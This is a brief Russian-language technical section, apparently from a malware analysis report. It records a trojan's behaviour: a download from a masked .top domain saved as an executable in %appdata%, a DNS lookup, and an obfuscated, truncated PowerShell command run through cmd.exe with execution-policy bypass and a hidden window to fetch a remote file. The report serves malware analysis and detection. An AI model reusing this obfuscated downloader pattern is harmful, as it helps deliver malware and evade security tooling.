Техническая информация
- http://fo###repu.top/read.php?f=##### как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "Po^wErSH^e^ll^.EXE -ExE^c^u^Ti^OnpOLI^Cy ByPA^Ss ^-n^o^P^r^OF^i^l^e ^-wINDOWSTylE Hid^DeN ^(N^E^W-^O^B^J^E^CT Sy^stEm.nE^t.weBCL^ieN^t).^DOw^nLoAd^f^i^L^e('http://fo###repu.top...
- DNS ASK fo###repu.top
- '<SYSTEM32>\cmd.exe' /C "Po^wErSH^e^ll^.EXE -ExE^c^u^Ti^OnpOLI^Cy ByPA^Ss ^-n^o^P^r^OF^i^l^e ^-wINDOWSTylE Hid^DeN ^(N^E^W-^O^B^J^E^CT Sy^stEm.nE^t.weBCL^ieN^t).^DOw^nLoAd^f^i^L^e('http://fo###repu.top...' (со скрытым окном)